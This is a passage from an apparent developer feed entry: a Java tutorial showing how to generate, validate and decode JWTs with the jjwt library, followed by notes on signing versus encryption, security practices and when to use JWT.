    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;generateJwtToken&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;issuer&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;subject&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Define the key from the secret string&lt;/span&gt;
        &lt;span class="c1"&gt;// The key should be securely managed and stored&lt;/span&gt;
        &lt;span class="nc"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Keys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hmacShaKeyFor&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

        &lt;span class="nc"&gt;Instant&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Instant&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;now&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// Build the JWT&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Jwts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setIssuer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;issuer&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Set the issuer claim&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSubject&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subject&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Set the subject claim&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setIssuedAt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// Set the issued at time&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setExpiration&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;plus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5L&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;ChronoUnit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MINUTES&lt;/span&gt;&lt;span class="o"&gt;)))&lt;/span&gt; &lt;span class="c1"&gt;// Set expiration for 5 minutes later&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setId&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;UUID&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;randomUUID&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// Set a unique ID for the token&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;signWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Sign the JWT with the key&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;compact&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Compacts the JWT into its final string form&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Example usage: replace with your actual values&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;myIssuer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"my.company.com"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;mySubject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"john.doe"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="c1"&gt;// Key must be sufficiently long for HS256 (e.g., 32 characters or more for 256 bits)&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;mySecretKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"aVerySecureAndLongSecretKeyForSigningJwts"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generateJwtToken&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myIssuer&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mySubject&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mySecretKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Generated JWT Token:"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above code will create the token. &lt;/p&gt;

&lt;p&gt;Validating JWT in Java&lt;br&gt;
Example Code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.Claims&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.Jwts&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.security.Keys&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JWTValidation&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;SECRET_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"aVerySecureAndLongSecretKeyForSigningJwts"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;Claims&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                 &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Jwts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;verifyWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Keys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hmacShaKeyFor&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;))).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;parseSignedClaims&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getPayload&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Please provide the token String as a parameter"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;tokenString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
            &lt;span class="nc"&gt;Claims&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;validate&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokenString&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Subject: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSubject&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Issuer: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getIssuer&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Issued At: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getIssuedAt&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Expiration: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getExpiration&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ID: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getId&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Audience: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAudience&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
   &lt;span class="o"&gt;}&lt;/span&gt;


&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By running the above code you can pass the generated token to test the validity. &lt;/p&gt;

&lt;p&gt;Decoding JWT &lt;br&gt;
Java Example&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Base64&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JWTTokenDecoder&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;decodeJWT&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"\\."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid JWT token format"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Decoder&lt;/span&gt; &lt;span class="n"&gt;decoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getUrlDecoder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// Decode Header&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]),&lt;/span&gt; &lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"JWT Header: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Decode Payload (Body)&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]),&lt;/span&gt; &lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"JWT Body: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// The signature part (parts[2]) is a hash and cannot be "decoded" into a readable string in the same way.&lt;/span&gt;
        &lt;span class="c1"&gt;// It's used for signature verification.&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Please provide the token String as a parameter"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;jwtToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
            &lt;span class="n"&gt;decodeJWT&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jwtToken&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can pass the JWT and get the decoded value&lt;/p&gt;

&lt;h2&gt;
  
  
  JWT Encryption vs Signing
&lt;/h2&gt;

&lt;p&gt;Many developers confuse signing and encryption.&lt;br&gt;
Signing ensures:&lt;br&gt;
• Token integrity&lt;br&gt;
• Token authenticity&lt;/p&gt;

&lt;p&gt;Encryption ensures:&lt;br&gt;
• Token confidentiality&lt;/p&gt;

&lt;p&gt;Most JWT tokens are &lt;strong&gt;signed but not encrypted&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Best Practices
&lt;/h2&gt;

&lt;p&gt;When using JWT in production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never store sensitive data in payload&lt;/li&gt;
&lt;li&gt;Always use HTTPS&lt;/li&gt;
&lt;li&gt;Set token expiration (exp claim) Refer: &lt;a href="https://javadoc.io/doc/io.jsonwebtoken/jjwt-api/0.11.2/io/jsonwebtoken/Claims.html" rel="noopener noreferrer"&gt;Claims    &lt;/a&gt;, &lt;a href="https://javadoc.io/static/io.jsonwebtoken/jjwt-api/0.11.2/io/jsonwebtoken/Claims.html#setExpiration(java.util.Date)" rel="noopener noreferrer"&gt;setExpiration&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Rotate secret keys periodically&lt;/li&gt;
&lt;li&gt;Validate token signature on every request&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When Should You Use JWT?
&lt;/h2&gt;

&lt;p&gt;JWT works well when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building stateless APIs&lt;/li&gt;
&lt;li&gt;Implementing microservices authentication&lt;/li&gt;
&lt;li&gt;Creating Single Sign-On systems&lt;/li&gt;
&lt;li&gt;Protecting REST APIs&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;All source files are available on GitHub:&lt;br&gt;
&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/JWT" rel="noopener noreferrer"&gt;Github source codes&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;JWT provides a simple and secure way to transmit claims between systems.&lt;/p&gt;

&lt;p&gt;Understanding how JWT works internally, including header, payload, and signature is important when implementing authentication systems in modern applications.&lt;/p&gt;

&lt;p&gt;By using proper signing, validation, and expiration strategies, JWT can be a powerful tool for secure API authentication.&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>jwt</category>
      <category>authentication</category>
    </item>
    <item>
      <title>Keystore vs Truststore — How SSL Certificate Chain Actually Works (with java Examples)</title>
